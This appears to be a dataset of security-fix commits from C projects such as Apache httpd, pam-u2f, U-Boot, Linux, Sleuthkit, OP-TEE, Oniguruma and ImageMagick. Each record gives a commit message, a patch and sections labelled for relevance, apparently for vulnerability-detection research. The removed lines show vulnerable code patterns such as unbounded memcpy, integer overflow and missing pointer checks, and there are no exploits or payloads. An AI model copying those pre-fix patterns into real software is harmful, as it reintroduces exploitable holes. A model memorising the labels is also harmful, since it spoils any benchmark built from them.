"commit_id": "a721d5cc9ebed4cb3679a935f4eb2cb167a78527", "commit_message": " *) mod_http2: Configuration directoves H2Push and H2Upgrade can now be specified per \n Location/Directory, e.g. disabling PUSH for a specific set of resources. [Stefan Eissing]\n\n *) mod_http2: HEAD requests to some module such as mod_cgid caused the stream to\n terminate improperly and cause a HTTP/2 PROTOCOL_ERROR. \n Fixes . [Michael Kaufmann]\n\n\n\ngit-svn-id: https://svn.apache.org/repos/asf/httpd/httpd/trunk@1852339 13f79535-47bb-0310-9956-ffa450edef68", "patch": "@@ -236,7 +236,7 @@ static apr_status_t h2_filter_slave_in(ap_filter_t* f,\n apr_size_t rmax = ((readbytes <= APR_SIZE_MAX)? \n (apr_size_t)readbytes : APR_SIZE_MAX);\n \n- task = h2_ctx_cget_task(f->c);\n+ task = h2_ctx_get_task(f->c);\n ap_assert(task);\n \n if (trace1) {\n@@ -379,7 +379,7 @@ static apr_status_t h2_filter_slave_in(ap_filter_t* f,\n static apr_status_t h2_filter_slave_output(ap_filter_t* filter,\n apr_bucket_brigade* brigade)\n {\n- h2_task *task = h2_ctx_cget_task(filter->c);\n+ h2_task *task = h2_ctx_get_task(filter->c);\n apr_status_t status;\n \n ap_assert(task);\n@@ -392,7 +392,7 @@ static apr_status_t h2_filter_slave_output(ap_filter_t* filter,\n \n static apr_status_t h2_filter_parse_h1(ap_filter_t* f, apr_bucket_brigade* bb)\n {\n- h2_task *task = h2_ctx_cget_task(f->c);\n+ h2_task *task = h2_ctx_get_task(f->c);\n apr_status_t status;\n \n ap_assert(task);\n@@ -502,7 +502,7 @@ static int h2_task_pre_conn(conn_rec* c, void *arg)\n \n ctx = h2_ctx_get(c, 0);\n (void)arg;\n- if (h2_ctx_is_task(ctx)) {\n+ if (ctx->task) {\n ap_log_cerror(APLOG_MARK, APLOG_TRACE2, 0, c,\n \"h2_slave(%s), pre_connection, adding filters\", c->log_id);\n ap_add_input_filter(\"H2_SLAVE_IN\", NULL, NULL, c);\n@@ -545,6 +545,7 @@ h2_task *h2_task_create(conn_rec *slave, int stream_id,\n void h2_task_destroy(h2_task *task)\n {\n if (task->output.beam) {\n+ h2_beam_log(task->output.beam, task->c, APLOG_TRACE2, \"task_destroy\");\n h2_beam_destroy(task->output.beam);\n task->output.beam = NULL;\n }\n@@ -724,7 +725,7 @@ static int h2_task_process_conn(conn_rec* c)\n }\n \n ctx = h2_ctx_get(c, 0);\n- if (h2_ctx_is_task(ctx)) {\n+ if (ctx->task) {\n if (!ctx->task->request->serialize) {\n ap_log_cerror(APLOG_MARK, APLOG_TRACE1, 0, c, \n \"h2_h2, processing request directly\");", "sections": [{"section": "@@ -236,7 +236,7 @@ static apr_status_t h2_filter_slave_in(ap_filter_t* f,\n apr_size_t rmax = ((readbytes <= APR_SIZE_MAX)? \n (apr_size_t)readbytes : APR_SIZE_MAX);\n \n- task = h2_ctx_cget_task(f->c);\n+ task = h2_ctx_get_task(f->c);\n ap_assert(task);\n \n if (trace1) {\n", "related": false}, {"section": "@@ -379,7 +379,7 @@ static apr_status_t h2_filter_slave_in(ap_filter_t* f,\n static apr_status_t h2_filter_slave_output(ap_filter_t* filter,\n apr_bucket_brigade* brigade)\n {\n- h2_task *task = h2_ctx_cget_task(filter->c);\n+ h2_task *task = h2_ctx_get_task(filter->c);\n apr_status_t status;\n \n ap_assert(task);\n", "related": false}, {"section": "@@ -392,7 +392,7 @@ static apr_status_t h2_filter_slave_output(ap_filter_t* filter,\n \n static apr_status_t h2_filter_parse_h1(ap_filter_t* f, apr_bucket_brigade* bb)\n {\n- h2_task *task = h2_ctx_cget_task(f->c);\n+ h2_task *task = h2_ctx_get_task(f->c);\n apr_status_t status;\n \n ap_assert(task);\n", "related": false}, {"section": "@@ -502,7 +502,7 @@ static int h2_task_pre_conn(conn_rec* c, void *arg)\n \n ctx = h2_ctx_get(c, 0);\n (void)arg;\n- if (h2_ctx_is_task(ctx)) {\n+ if (ctx->task) {\n ap_log_cerror(APLOG_MARK, APLOG_TRACE2, 0, c,\n \"h2_slave(%s), pre_connection, adding filters\", c->log_id);\n ap_add_input_filter(\"H2_SLAVE_IN\", NULL, NULL, c);\n", "related": false}, {"section": "@@ -545,6 +545,7 @@ h2_task *h2_task_create(conn_rec *slave, int stream_id,\n void h2_task_destroy(h2_task *task)\n {\n if (task->output.beam) {\n+ h2_beam_log(task->output.beam, task->c, APLOG_TRACE2, \"task_destroy\");\n h2_beam_destroy(task->output.beam);\n task->output.beam = NULL;\n }\n", "related": false}, {"section": "@@ -724,7 +725,7 @@ static int h2_task_process_conn(conn_rec* c)\n }\n \n ctx = h2_ctx_get(c, 0);\n- if (h2_ctx_is_task(ctx)) {\n+ if (ctx->task) {\n if (!ctx->task->request->serialize) {\n ap_log_cerror(APLOG_MARK, APLOG_TRACE1, 0, c, \n \"h2_h2, processing request directly\");", "related": false}]} +{"owner": "yubico", "repo": "pam-u2f", "language": "C", "file_name": "util.c", "commit_id": "18b1914e32b74ff52000f10e97067e841e5fff62", "commit_message": "Do not leak file descriptor when doing exec\n\nWhen opening a custom debug file, the descriptor would stay\nopen when calling exec and leak to the child process.\n\nMake sure all files are opened with close-on-exec.\n\nThis fixes CVE-2019-12210.\n\nThanks to Matthias Gerstner of the SUSE Security Team for reporting\nthe issue.", "patch": "@@ -1,5 +1,5 @@\n /*\n- * Copyright (C) 2014-2018 Yubico AB - See COPYING\n+ * Copyright (C) 2014-2019 Yubico AB - See COPYING\n */\n \n #include \"util.h\"\n@@ -36,7 +36,7 @@ int get_devices_from_authfile(const char *authfile, const char *username,\n /* Ensure we never return uninitialized count. */\n *n_devs = 0;\n \n- fd = open(authfile, O_RDONLY, 0);\n+ fd = open(authfile, O_RDONLY | O_CLOEXEC | O_NOCTTY);\n if (fd < 0) {\n if (verbose)\n D(debug_file, \"Cannot open file: %s (%s)\", authfile, strerror(errno));\n@@ -83,6 +83,8 @@ int get_devices_from_authfile(const char *authfile, const char *username,\n if (verbose)\n D(debug_file, \"fdopen: %s\", strerror(errno));\n goto err;\n+ } else {\n+ fd = -1; /* fd belongs to opwfile */\n }\n \n buf = malloc(sizeof(char) * (DEVSIZE * max_devs));\n@@ -211,8 +213,10 @@ int get_devices_from_authfile(const char *authfile, const char *username,\n \n if (opwfile)\n fclose(opwfile);\n- else if (fd >= 0)\n+\n+ if (fd != -1)\n close(fd);\n+\n return retval;\n }\n ", "sections": [{"section": "@@ -1,5 +1,5 @@\n /*\n- * Copyright (C) 2014-2018 Yubico AB - See COPYING\n+ * Copyright (C) 2014-2019 Yubico AB - See COPYING\n */\n \n #include \"util.h\"\n", "related": false}, {"section": "@@ -36,7 +36,7 @@ int get_devices_from_authfile(const char *authfile, const char *username,\n /* Ensure we never return uninitialized count. */\n *n_devs = 0;\n \n- fd = open(authfile, O_RDONLY, 0);\n+ fd = open(authfile, O_RDONLY | O_CLOEXEC | O_NOCTTY);\n if (fd < 0) {\n if (verbose)\n D(debug_file, \"Cannot open file: %s (%s)\", authfile, strerror(errno));\n", "related": true}, {"section": "@@ -83,6 +83,8 @@ int get_devices_from_authfile(const char *authfile, const char *username,\n if (verbose)\n D(debug_file, \"fdopen: %s\", strerror(errno));\n goto err;\n+ } else {\n+ fd = -1; /* fd belongs to opwfile */\n }\n \n buf = malloc(sizeof(char) * (DEVSIZE * max_devs));\n", "related": true}, {"section": "@@ -211,8 +213,10 @@ int get_devices_from_authfile(const char *authfile, const char *username,\n \n if (opwfile)\n fclose(opwfile);\n- else if (fd >= 0)\n+\n+ if (fd != -1)\n close(fd);\n+\n return retval;\n }\n ", "related": true}]} +{"owner": "u-boot", "repo": "u-boot", "language": "C", "file_name": "net/net.c", "commit_id": "fe7288069d2e6659117049f7d27e261b550bb725", "commit_message": "CVE: net: fix unbounded memcpy of UDP packet\n\nThis patch adds a check to udp_len to fix unbounded memcpy for\nCVE-2019-14192, CVE-2019-14193 and CVE-2019-14199.\n\nSigned-off-by: Cheng Liu \nReviewed-by: Simon Goldschmidt \nReported-by: Fermín Serna \nAcked-by: Joe Hershberger ", "patch": "@@ -1264,6 +1264,9 @@ void net_process_received_packet(uchar *in_packet, int len)\n \t\t\treturn;\n \t\t}\n \n+\t\tif (ntohs(ip->udp_len) < UDP_HDR_SIZE || ntohs(ip->udp_len) > ntohs(ip->ip_len))\n+\t\t\treturn;\n+\n \t\tdebug_cond(DEBUG_DEV_PKT,\n \t\t\t \"received UDP (to=%pI4, from=%pI4, len=%d)\\n\",\n \t\t\t &dst_ip, &src_ip, len);", "sections": [{"section": "@@ -1264,6 +1264,9 @@ void net_process_received_packet(uchar *in_packet, int len)\n \t\t\treturn;\n \t\t}\n \n+\t\tif (ntohs(ip->udp_len) < UDP_HDR_SIZE || ntohs(ip->udp_len) > ntohs(ip->ip_len))\n+\t\t\treturn;\n+\n \t\tdebug_cond(DEBUG_DEV_PKT,\n \t\t\t \"received UDP (to=%pI4, from=%pI4, len=%d)\\n\",\n \t\t\t &dst_ip, &src_ip, len);", "related": false}]} +{"owner": "torvalds", "repo": "linux", "language": "C", "file_name": "drivers/mtd/spi-nor/cadence-quadspi.c", "commit_id": "193e87143c290ec16838f5368adc0e0bc94eb931", "commit_message": "mtd: spi-nor: Off by one in cqspi_setup_flash()\n\nThere are CQSPI_MAX_CHIPSELECT elements in the ->f_pdata array so the >\nshould be >=.\n\nFixes: 140623410536 ('mtd: spi-nor: Add driver for Cadence Quad SPI Flash Controller')\nSigned-off-by: Dan Carpenter \nReviewed-by: Marek Vasut \nSigned-off-by: Cyrille Pitchen ", "patch": "@@ -1082,7 +1082,7 @@ static int cqspi_setup_flash(struct cqspi_st *cqspi, struct device_node *np)\n \t\t\tgoto err;\n \t\t}\n \n-\t\tif (cs > CQSPI_MAX_CHIPSELECT) {\n+\t\tif (cs >= CQSPI_MAX_CHIPSELECT) {\n \t\t\tdev_err(dev, \"Chip select %d out of range.\\n\", cs);\n \t\t\tgoto err;\n \t\t}", "sections": [{"section": "@@ -1082,7 +1082,7 @@ static int cqspi_setup_flash(struct cqspi_st *cqspi, struct device_node *np)\n \t\t\tgoto err;\n \t\t}\n \n-\t\tif (cs > CQSPI_MAX_CHIPSELECT) {\n+\t\tif (cs >= CQSPI_MAX_CHIPSELECT) {\n \t\t\tdev_err(dev, \"Chip select %d out of range.\\n\", cs);\n \t\t\tgoto err;\n \t\t}", "related": false}]} +{"owner": "sleuthkit", "repo": "sleuthkit", "language": "C", "file_name": "tsk/fs/hfs.c", "commit_id": "114cd3d0aac8bd1aeaf4b33840feb0163d342d5b", "commit_message": "hfs: fix keylen check in hfs_cat_traverse()\n\nIf key->key_len is 65535, calculating \"uint16_t keylen' would\ncause an overflow:\n\n uint16_t keylen;\n ...\n keylen = 2 + tsk_getu16(hfs->fs_info.endian, key->key_len)\n\nso the code bypasses the sanity check \"if (keylen > nodesize)\"\nwhich results in crash later:\n\n ./toolfs/fstools/fls -b 512 -f hfs \n =================================================================\n ==16==ERROR: AddressSanitizer: SEGV on unknown address 0x6210000256a4 (pc 0x00000054812b bp 0x7ffca548a8f0 sp 0x7ffca548a480 T0)\n ==16==The signal is caused by a READ memory access.\n #0 0x54812a in hfs_dir_open_meta_cb /fuzzing/sleuthkit/tsk/fs/hfs_dent.c:237:20\n #1 0x51a96c in hfs_cat_traverse /fuzzing/sleuthkit/tsk/fs/hfs.c:1082:21\n #2 0x547785 in hfs_dir_open_meta /fuzzing/sleuthkit/tsk/fs/hfs_dent.c:480:9\n #3 0x50f57d in tsk_fs_dir_open_meta /fuzzing/sleuthkit/tsk/fs/fs_dir.c:290:14\n #4 0x54af17 in tsk_fs_path2inum /fuzzing/sleuthkit/tsk/fs/ifind_lib.c:237:23\n #5 0x522266 in hfs_open /fuzzing/sleuthkit/tsk/fs/hfs.c:6579:9\n #6 0x508e89 in main /fuzzing/sleuthkit/tools/fstools/fls.cpp:267:19\n #7 0x7f9daf67c2b0 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x202b0)\n #8 0x41d679 in _start (/fuzzing/sleuthkit/tools/fstools/fls+0x41d679)\n\nMake 'keylen' int type to prevent the overflow and fix that.\nNow, I get proper error message instead of crash:\n ./toolfs/fstools/fls -b 512 -f hfs \n General file system error (hfs_cat_traverse: length of key 3 in leaf node 1 too large (65537 vs 4096))", "patch": "@@ -937,7 +937,7 @@ hfs_cat_traverse(HFS_INFO * hfs,\n size_t rec_off;\n hfs_btree_key_cat *key;\n uint8_t retval;\n- uint16_t keylen;\n+ int keylen;\n \n // get the record offset in the node\n rec_off =\n@@ -1042,7 +1042,7 @@ hfs_cat_traverse(HFS_INFO * hfs,\n size_t rec_off;\n hfs_btree_key_cat *key;\n uint8_t retval;\n- uint16_t keylen;\n+ int keylen;\n \n // get the record offset in the node\n rec_off =", "sections": [{"section": "@@ -937,7 +937,7 @@ hfs_cat_traverse(HFS_INFO * hfs,\n size_t rec_off;\n hfs_btree_key_cat *key;\n uint8_t retval;\n- uint16_t keylen;\n+ int keylen;\n \n // get the record offset in the node\n rec_off =\n", "related": false}, {"section": "@@ -1042,7 +1042,7 @@ hfs_cat_traverse(HFS_INFO * hfs,\n size_t rec_off;\n hfs_btree_key_cat *key;\n uint8_t retval;\n- uint16_t keylen;\n+ int keylen;\n \n // get the record offset in the node\n rec_off =", "related": false}]} +{"owner": "op-tee", "repo": "optee_os", "language": "C", "file_name": "core/tee/tee_svc.c", "commit_id": "d5c5b0b77b2b589666024d219a8007b3f5b6faeb", "commit_message": "core: svc: always check ta parameters\n\nAlways check TA parameters from a user TA. This prevents a user TA from\npassing invalid pointers to a pseudo TA.\n\nFixes: OP-TEE-2018-0007: \"Buffer checks missing when calling pseudo\nTAs\".\n\nSigned-off-by: Jens Wiklander \nTested-by: Joakim Bech (QEMU v7, v8)\nReviewed-by: Joakim Bech \nReported-by: Riscure \nReported-by: Alyssa Milburn \nAcked-by: Etienne Carriere ", "patch": "@@ -494,7 +494,9 @@ TEE_Result syscall_get_property_name_to_index(unsigned long prop_set,\n \treturn res;\n }\n \n-static void utee_param_to_param(struct tee_ta_param *p, struct utee_params *up)\n+static TEE_Result utee_param_to_param(struct user_ta_ctx *utc,\n+\t\t\t\t struct tee_ta_param *p,\n+\t\t\t\t struct utee_params *up)\n {\n \tsize_t n;\n \tuint32_t types = up->types;\n@@ -503,14 +505,20 @@ static void utee_param_to_param(struct tee_ta_param *p, struct utee_params *up)\n \tfor (n = 0; n < TEE_NUM_PARAMS; n++) {\n \t\tuintptr_t a = up->vals[n * 2];\n \t\tsize_t b = up->vals[n * 2 + 1];\n+\t\tuint32_t flags = TEE_MEMORY_ACCESS_READ |\n+\t\t\t\t TEE_MEMORY_ACCESS_ANY_OWNER;\n \n \t\tswitch (TEE_PARAM_TYPE_GET(types, n)) {\n-\t\tcase TEE_PARAM_TYPE_MEMREF_INPUT:\n \t\tcase TEE_PARAM_TYPE_MEMREF_OUTPUT:\n \t\tcase TEE_PARAM_TYPE_MEMREF_INOUT:\n+\t\t\tflags |= TEE_MEMORY_ACCESS_WRITE;\n+\t\t\t/*FALLTHROUGH*/\n+\t\tcase TEE_PARAM_TYPE_MEMREF_INPUT:\n \t\t\tp->u[n].mem.mobj = &mobj_virt;\n \t\t\tp->u[n].mem.offs = a;\n \t\t\tp->u[n].mem.size = b;\n+\t\t\tif (tee_mmu_check_access_rights(utc, flags, a, b))\n+\t\t\t\treturn TEE_ERROR_ACCESS_DENIED;\n \t\t\tbreak;\n \t\tcase TEE_PARAM_TYPE_VALUE_INPUT:\n \t\tcase TEE_PARAM_TYPE_VALUE_INOUT:\n@@ -522,6 +530,8 @@ static void utee_param_to_param(struct tee_ta_param *p, struct utee_params *up)\n \t\t\tbreak;\n \t\t}\n \t}\n+\n+\treturn TEE_SUCCESS;\n }\n \n static TEE_Result alloc_temp_sec_mem(size_t size, struct mobj **mobj,\n@@ -575,7 +585,9 @@ static TEE_Result tee_svc_copy_param(struct tee_ta_session *sess,\n \t\t\t(uaddr_t)callee_params, sizeof(struct utee_params));\n \t\tif (res != TEE_SUCCESS)\n \t\t\treturn res;\n-\t\tutee_param_to_param(param, callee_params);\n+\t\tres = utee_param_to_param(utc, param, callee_params);\n+\t\tif (res != TEE_SUCCESS)\n+\t\t\treturn res;\n \t}\n \n \tif (called_sess && is_pseudo_ta_ctx(called_sess->ctx)) {", "sections": [{"section": "@@ -494,7 +494,9 @@ TEE_Result syscall_get_property_name_to_index(unsigned long prop_set,\n \treturn res;\n }\n \n-static void utee_param_to_param(struct tee_ta_param *p, struct utee_params *up)\n+static TEE_Result utee_param_to_param(struct user_ta_ctx *utc,\n+\t\t\t\t struct tee_ta_param *p,\n+\t\t\t\t struct utee_params *up)\n {\n \tsize_t n;\n \tuint32_t types = up->types;\n", "related": false}, {"section": "@@ -503,14 +505,20 @@ static void utee_param_to_param(struct tee_ta_param *p, struct utee_params *up)\n \tfor (n = 0; n < TEE_NUM_PARAMS; n++) {\n \t\tuintptr_t a = up->vals[n * 2];\n \t\tsize_t b = up->vals[n * 2 + 1];\n+\t\tuint32_t flags = TEE_MEMORY_ACCESS_READ |\n+\t\t\t\t TEE_MEMORY_ACCESS_ANY_OWNER;\n \n \t\tswitch (TEE_PARAM_TYPE_GET(types, n)) {\n-\t\tcase TEE_PARAM_TYPE_MEMREF_INPUT:\n \t\tcase TEE_PARAM_TYPE_MEMREF_OUTPUT:\n \t\tcase TEE_PARAM_TYPE_MEMREF_INOUT:\n+\t\t\tflags |= TEE_MEMORY_ACCESS_WRITE;\n+\t\t\t/*FALLTHROUGH*/\n+\t\tcase TEE_PARAM_TYPE_MEMREF_INPUT:\n \t\t\tp->u[n].mem.mobj = &mobj_virt;\n \t\t\tp->u[n].mem.offs = a;\n \t\t\tp->u[n].mem.size = b;\n+\t\t\tif (tee_mmu_check_access_rights(utc, flags, a, b))\n+\t\t\t\treturn TEE_ERROR_ACCESS_DENIED;\n \t\t\tbreak;\n \t\tcase TEE_PARAM_TYPE_VALUE_INPUT:\n \t\tcase TEE_PARAM_TYPE_VALUE_INOUT:\n", "related": false}, {"section": "@@ -522,6 +530,8 @@ static void utee_param_to_param(struct tee_ta_param *p, struct utee_params *up)\n \t\t\tbreak;\n \t\t}\n \t}\n+\n+\treturn TEE_SUCCESS;\n }\n \n static TEE_Result alloc_temp_sec_mem(size_t size, struct mobj **mobj,\n", "related": false}, {"section": "@@ -575,7 +585,9 @@ static TEE_Result tee_svc_copy_param(struct tee_ta_session *sess,\n \t\t\t(uaddr_t)callee_params, sizeof(struct utee_params));\n \t\tif (res != TEE_SUCCESS)\n \t\t\treturn res;\n-\t\tutee_param_to_param(param, callee_params);\n+\t\tres = utee_param_to_param(utc, param, callee_params);\n+\t\tif (res != TEE_SUCCESS)\n+\t\t\treturn res;\n \t}\n \n \tif (called_sess && is_pseudo_ta_ctx(called_sess->ctx)) {", "related": false}]} +{"owner": "kkos", "repo": "oniguruma", "language": "C", "file_name": "src/regcomp.c", "commit_id": "c509265c5f6ae7264f7b8a8aae1cfa5fc59d108c", "commit_message": "Fix CVE-2019-13225: problem in converting if-then-else pattern to bytecode.", "patch": "@@ -1307,8 +1307,9 @@ compile_length_bag_node(BagNode* node, regex_t* reg)\n len += tlen;\n }\n \n+ len += SIZE_OP_JUMP + SIZE_OP_ATOMIC_END;\n+\n if (IS_NOT_NULL(Else)) {\n- len += SIZE_OP_JUMP;\n tlen = compile_length_tree(Else, reg);\n if (tlen < 0) return tlen;\n len += tlen;\n@@ -1455,7 +1456,7 @@ compile_bag_node(BagNode* node, regex_t* reg, ScanEnv* env)\n \n case BAG_IF_ELSE:\n {\n- int cond_len, then_len, jump_len;\n+ int cond_len, then_len, else_len, jump_len;\n Node* cond = NODE_BAG_BODY(node);\n Node* Then = node->te.Then;\n Node* Else = node->te.Else;\n@@ -1472,8 +1473,7 @@ compile_bag_node(BagNode* node, regex_t* reg, ScanEnv* env)\n else\n then_len = 0;\n \n- jump_len = cond_len + then_len + SIZE_OP_ATOMIC_END;\n- if (IS_NOT_NULL(Else)) jump_len += SIZE_OP_JUMP;\n+ jump_len = cond_len + then_len + SIZE_OP_ATOMIC_END + SIZE_OP_JUMP;\n \n r = add_op(reg, OP_PUSH);\n if (r != 0) return r;\n@@ -1490,11 +1490,20 @@ compile_bag_node(BagNode* node, regex_t* reg, ScanEnv* env)\n }\n \n if (IS_NOT_NULL(Else)) {\n- int else_len = compile_length_tree(Else, reg);\n- r = add_op(reg, OP_JUMP);\n- if (r != 0) return r;\n- COP(reg)->jump.addr = else_len + SIZE_INC_OP;\n+ else_len = compile_length_tree(Else, reg);\n+ if (else_len < 0) return else_len;\n+ }\n+ else\n+ else_len = 0;\n \n+ r = add_op(reg, OP_JUMP);\n+ if (r != 0) return r;\n+ COP(reg)->jump.addr = SIZE_OP_ATOMIC_END + else_len + SIZE_INC_OP;\n+\n+ r = add_op(reg, OP_ATOMIC_END);\n+ if (r != 0) return r;\n+\n+ if (IS_NOT_NULL(Else)) {\n r = compile_tree(Else, reg, env);\n }\n }", "sections": [{"section": "@@ -1307,8 +1307,9 @@ compile_length_bag_node(BagNode* node, regex_t* reg)\n len += tlen;\n }\n \n+ len += SIZE_OP_JUMP + SIZE_OP_ATOMIC_END;\n+\n if (IS_NOT_NULL(Else)) {\n- len += SIZE_OP_JUMP;\n tlen = compile_length_tree(Else, reg);\n if (tlen < 0) return tlen;\n len += tlen;\n", "related": false}, {"section": "@@ -1455,7 +1456,7 @@ compile_bag_node(BagNode* node, regex_t* reg, ScanEnv* env)\n \n case BAG_IF_ELSE:\n {\n- int cond_len, then_len, jump_len;\n+ int cond_len, then_len, else_len, jump_len;\n Node* cond = NODE_BAG_BODY(node);\n Node* Then = node->te.Then;\n Node* Else = node->te.Else;\n", "related": false}, {"section": "@@ -1472,8 +1473,7 @@ compile_bag_node(BagNode* node, regex_t* reg, ScanEnv* env)\n else\n then_len = 0;\n \n- jump_len = cond_len + then_len + SIZE_OP_ATOMIC_END;\n- if (IS_NOT_NULL(Else)) jump_len += SIZE_OP_JUMP;\n+ jump_len = cond_len + then_len + SIZE_OP_ATOMIC_END + SIZE_OP_JUMP;\n \n r = add_op(reg, OP_PUSH);\n if (r != 0) return r;\n", "related": false}, {"section": "@@ -1490,11 +1490,20 @@ compile_bag_node(BagNode* node, regex_t* reg, ScanEnv* env)\n }\n \n if (IS_NOT_NULL(Else)) {\n- int else_len = compile_length_tree(Else, reg);\n- r = add_op(reg, OP_JUMP);\n- if (r != 0) return r;\n- COP(reg)->jump.addr = else_len + SIZE_INC_OP;\n+ else_len = compile_length_tree(Else, reg);\n+ if (else_len < 0) return else_len;\n+ }\n+ else\n+ else_len = 0;\n \n+ r = add_op(reg, OP_JUMP);\n+ if (r != 0) return r;\n+ COP(reg)->jump.addr = SIZE_OP_ATOMIC_END + else_len + SIZE_INC_OP;\n+\n+ r = add_op(reg, OP_ATOMIC_END);\n+ if (r != 0) return r;\n+\n+ if (IS_NOT_NULL(Else)) {\n r = compile_tree(Else, reg, env);\n }\n }", "related": false}]} +{"owner": "torvalds", "repo": "linux", "language": "C", "file_name": "net/ipv6/output_core.c", "commit_id": "df453700e8d81b1bdafdf684365ee2b9431fb702", "commit_message": "inet: switch IP ID generator to siphash\n\nAccording to Amit Klein and Benny Pinkas, IP ID generation is too weak\nand might be used by attackers.\n\nEven with recent net_hash_mix() fix (netns: provide pure entropy for net_hash_mix())\nhaving 64bit key and Jenkins hash is risky.\n\nIt is time to switch to siphash and its 128bit keys.\n\nSigned-off-by: Eric Dumazet \nReported-by: Amit Klein \nReported-by: Benny Pinkas \nSigned-off-by: David S. Miller ", "patch": "@@ -10,15 +10,25 @@\n #include \n #include \n \n-static u32 __ipv6_select_ident(struct net *net, u32 hashrnd,\n+static u32 __ipv6_select_ident(struct net *net,\n \t\t\t const struct in6_addr *dst,\n \t\t\t const struct in6_addr *src)\n {\n+\tconst struct {\n+\t\tstruct in6_addr dst;\n+\t\tstruct in6_addr src;\n+\t} __aligned(SIPHASH_ALIGNMENT) combined = {\n+\t\t.dst = *dst,\n+\t\t.src = *src,\n+\t};\n \tu32 hash, id;\n \n-\thash = __ipv6_addr_jhash(dst, hashrnd);\n-\thash = __ipv6_addr_jhash(src, hash);\n-\thash ^= net_hash_mix(net);\n+\t/* Note the following code is not safe, but this is okay. */\n+\tif (unlikely(siphash_key_is_zero(&net->ipv4.ip_id_key)))\n+\t\tget_random_bytes(&net->ipv4.ip_id_key,\n+\t\t\t\t sizeof(net->ipv4.ip_id_key));\n+\n+\thash = siphash(&combined, sizeof(combined), &net->ipv4.ip_id_key);\n \n \t/* Treat id of 0 as unset and if we get 0 back from ip_idents_reserve,\n \t * set the hight order instead thus minimizing possible future\n@@ -41,7 +51,6 @@ static u32 __ipv6_select_ident(struct net *net, u32 hashrnd,\n */\n __be32 ipv6_proxy_select_ident(struct net *net, struct sk_buff *skb)\n {\n-\tstatic u32 ip6_proxy_idents_hashrnd __read_mostly;\n \tstruct in6_addr buf[2];\n \tstruct in6_addr *addrs;\n \tu32 id;\n@@ -53,11 +62,7 @@ __be32 ipv6_proxy_select_ident(struct net *net, struct sk_buff *skb)\n \tif (!addrs)\n \t\treturn 0;\n \n-\tnet_get_random_once(&ip6_proxy_idents_hashrnd,\n-\t\t\t sizeof(ip6_proxy_idents_hashrnd));\n-\n-\tid = __ipv6_select_ident(net, ip6_proxy_idents_hashrnd,\n-\t\t\t\t &addrs[1], &addrs[0]);\n+\tid = __ipv6_select_ident(net, &addrs[1], &addrs[0]);\n \treturn htonl(id);\n }\n EXPORT_SYMBOL_GPL(ipv6_proxy_select_ident);\n@@ -66,12 +71,9 @@ __be32 ipv6_select_ident(struct net *net,\n \t\t\t const struct in6_addr *daddr,\n \t\t\t const struct in6_addr *saddr)\n {\n-\tstatic u32 ip6_idents_hashrnd __read_mostly;\n \tu32 id;\n \n-\tnet_get_random_once(&ip6_idents_hashrnd, sizeof(ip6_idents_hashrnd));\n-\n-\tid = __ipv6_select_ident(net, ip6_idents_hashrnd, daddr, saddr);\n+\tid = __ipv6_select_ident(net, daddr, saddr);\n \treturn htonl(id);\n }\n EXPORT_SYMBOL(ipv6_select_ident);", "sections": [{"section": "@@ -10,15 +10,25 @@\n #include \n #include \n \n-static u32 __ipv6_select_ident(struct net *net, u32 hashrnd,\n+static u32 __ipv6_select_ident(struct net *net,\n \t\t\t const struct in6_addr *dst,\n \t\t\t const struct in6_addr *src)\n {\n+\tconst struct {\n+\t\tstruct in6_addr dst;\n+\t\tstruct in6_addr src;\n+\t} __aligned(SIPHASH_ALIGNMENT) combined = {\n+\t\t.dst = *dst,\n+\t\t.src = *src,\n+\t};\n \tu32 hash, id;\n \n-\thash = __ipv6_addr_jhash(dst, hashrnd);\n-\thash = __ipv6_addr_jhash(src, hash);\n-\thash ^= net_hash_mix(net);\n+\t/* Note the following code is not safe, but this is okay. */\n+\tif (unlikely(siphash_key_is_zero(&net->ipv4.ip_id_key)))\n+\t\tget_random_bytes(&net->ipv4.ip_id_key,\n+\t\t\t\t sizeof(net->ipv4.ip_id_key));\n+\n+\thash = siphash(&combined, sizeof(combined), &net->ipv4.ip_id_key);\n \n \t/* Treat id of 0 as unset and if we get 0 back from ip_idents_reserve,\n \t * set the hight order instead thus minimizing possible future\n", "related": false}, {"section": "@@ -41,7 +51,6 @@ static u32 __ipv6_select_ident(struct net *net, u32 hashrnd,\n */\n __be32 ipv6_proxy_select_ident(struct net *net, struct sk_buff *skb)\n {\n-\tstatic u32 ip6_proxy_idents_hashrnd __read_mostly;\n \tstruct in6_addr buf[2];\n \tstruct in6_addr *addrs;\n \tu32 id;\n", "related": false}, {"section": "@@ -53,11 +62,7 @@ __be32 ipv6_proxy_select_ident(struct net *net, struct sk_buff *skb)\n \tif (!addrs)\n \t\treturn 0;\n \n-\tnet_get_random_once(&ip6_proxy_idents_hashrnd,\n-\t\t\t sizeof(ip6_proxy_idents_hashrnd));\n-\n-\tid = __ipv6_select_ident(net, ip6_proxy_idents_hashrnd,\n-\t\t\t\t &addrs[1], &addrs[0]);\n+\tid = __ipv6_select_ident(net, &addrs[1], &addrs[0]);\n \treturn htonl(id);\n }\n EXPORT_SYMBOL_GPL(ipv6_proxy_select_ident);\n", "related": false}, {"section": "@@ -66,12 +71,9 @@ __be32 ipv6_select_ident(struct net *net,\n \t\t\t const struct in6_addr *daddr,\n \t\t\t const struct in6_addr *saddr)\n {\n-\tstatic u32 ip6_idents_hashrnd __read_mostly;\n \tu32 id;\n \n-\tnet_get_random_once(&ip6_idents_hashrnd, sizeof(ip6_idents_hashrnd));\n-\n-\tid = __ipv6_select_ident(net, ip6_idents_hashrnd, daddr, saddr);\n+\tid = __ipv6_select_ident(net, daddr, saddr);\n \treturn htonl(id);\n }\n EXPORT_SYMBOL(ipv6_select_ident);", "related": false}]} +{"owner": "imagemagick", "repo": "imagemagick6", "language": "C", "file_name": "magick/threshold.c", "commit_id": "55e6dc49f1a381d9d511ee2f888fdc3e3c3e3953", "commit_message": "https://github.com/ImageMagick/ImageMagick/issues/1608", "patch": "@@ -202,6 +202,8 @@ MagickExport Image *AdaptiveThresholdImage(const Image *image,\n threshold_image=CloneImage(image,0,0,MagickTrue,exception);\n if (threshold_image == (Image *) NULL)\n return((Image *) NULL);\n+ if (width == 0)\n+ return(threshold_image);\n if (SetImageStorageClass(threshold_image,DirectClass) == MagickFalse)\n {\n InheritException(exception,&threshold_image->exception);", "sections": [{"section": "@@ -202,6 +202,8 @@ MagickExport Image *AdaptiveThresholdImage(const Image *image,\n threshold_image=CloneImage(image,0,0,MagickTrue,exception);\n if (threshold_image == (Image *) NULL)\n return((Image *) NULL);\n+ if (width == 0)\n+ return(threshold_image);\n if 